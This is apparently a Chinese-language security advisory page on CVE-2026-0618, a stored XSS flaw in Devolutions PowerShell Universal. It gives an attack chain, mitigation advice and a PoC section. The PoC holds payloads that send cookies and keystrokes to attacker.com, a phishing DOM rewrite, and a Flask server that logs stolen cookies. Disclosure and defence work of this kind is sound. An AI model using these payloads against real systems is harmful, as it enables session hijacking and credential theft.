IPBUF安全漏洞报告
English
CVE-2026-0618 CVSS 6.1 中危

CVE-2026-0618: Devolutions PowerShell Universal XSS跨站脚本漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2026-0618
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Devolutions PowerShell Universal

相关标签

XSS跨站脚本PowerShell UniversalDevolutions存储型XSSCVE-2026-0618会话劫持Web安全

漏洞概述

CVE-2026-0618是Devolutions PowerShell Universal中的一个存储型跨站脚本(XSS)漏洞,CVSS评分为6.1,属于中等严重程度。该漏洞源于应用程序对用户输入缺乏充分的过滤和验证,攻击者可以通过在受影响的功能模块中注入恶意JavaScript脚本,当其他用户访问包含恶意代码的页面时,脚本将在其浏览器上下文中执行。成功利用此漏洞可导致窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或在用户浏览器中执行任意操作。漏洞影响PowerShell Universal 4.5.6之前及5.6.13之前的所有版本。由于该漏洞无需认证即可利用(但需要用户交互),因此具有较高的实际威胁性。建议受影响的用户尽快升级到修复版本以消除安全风险。

技术细节

该XSS漏洞存在于PowerShell Universal的多个功能模块中,攻击者可以利用输入字段(如用户配置、脚本参数、仪表板组件等)注入恶意JavaScript代码。由于应用程序未对用户输入进行适当的HTML实体编码或输入验证,恶意脚本会被存储在服务器端并在后续页面加载时返回给其他用户。当受害者访问受影响页面时,浏览器会执行注入的脚本代码。攻击者可利用此漏洞窃取受害者的认证令牌、会话ID或其他敏感信息,进而进行账户接管。由于该漏洞影响多个版本且无需高权限即可利用,攻击者可以在低复杂度攻击场景中实现有效利用。漏洞的CVSS向量显示攻击向量为网络边界(AV:N),攻击复杂度低(AC:L),不需要特权(PR:N),但需要用户交互(UI:R)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标环境使用的PowerShell Universal版本,确认版本在受影响范围内(<4.5.6或<5.6.13)
STEP 2
步骤2: 漏洞点识别
攻击者扫描应用程序,寻找可注入脚本的用户输入点,如用户配置、脚本参数、仪表板组件等
STEP 3
步骤3: 恶意脚本注入
攻击者向识别出的输入字段注入包含恶意JavaScript代码的Payload,如<script>标签或事件处理器
STEP 4
步骤4: 脚本存储
由于应用程序未进行适当的输入验证和输出编码,恶意脚本被存储在服务器数据库中
STEP 5
步骤5: 等待受害者访问
攻击者等待其他用户(尤其是管理员)访问包含恶意脚本的页面,触发漏洞执行
STEP 6
步骤6: 敏感信息窃取
当受害者浏览器加载页面时,恶意脚本执行,可窃取Cookie、会话令牌或其他敏感信息
STEP 7
步骤7: 账户接管或进一步攻击
攻击者利用窃取的凭证进行会话劫持、账户接管或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-0618 PoC: Stored XSS in PowerShell Universal --> <!-- Target: PowerShell Universal < 4.5.6, < 5.6.13 --> <!-- Method 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Method 2: Cookie stealing payload --> <img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Method 3: Session hijacking with fetch API --> <script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script> <!-- Method 4: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k='+e.key) }) </script> <!-- Method 5: DOM manipulation for phishing --> <script> document.body.innerHTML = document.body.innerHTML.replace('Login', 'Security Alert'); </script> <!-- Usage: Inject above payloads into vulnerable input fields: - User profile settings - Script parameters - Dashboard widgets - Custom scripts --> <!-- Attacker-controlled server (Python): --> ''' # Python server to receive stolen cookies from flask import Flask, request app = Flask(__name__) @app.route('/steal') def steal(): cookie = request.args.get('c') print(f'[+] Stolen cookie: {cookie}') # Log to file or database with open('stolen_cookies.txt', 'a') as f: f.write(f'{cookie}\n') return 'OK' if __name__ == '__main__': app.run(host='0.0.0.0', port=8080) '''

影响范围

PowerShell Universal < 4.5.6
PowerShell Universal < 5.6.13

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制应用程序的网络访问,仅允许受信任的用户访问;2) 启用Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;3) 监控应用程序日志,查找可疑的脚本注入模式;4) 对管理员账户启用双因素认证以降低账户被盗风险;5) 限制低权限用户创建或修改脚本和配置的权限。但最根本的解决方案仍是尽快升级到官方发布的修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表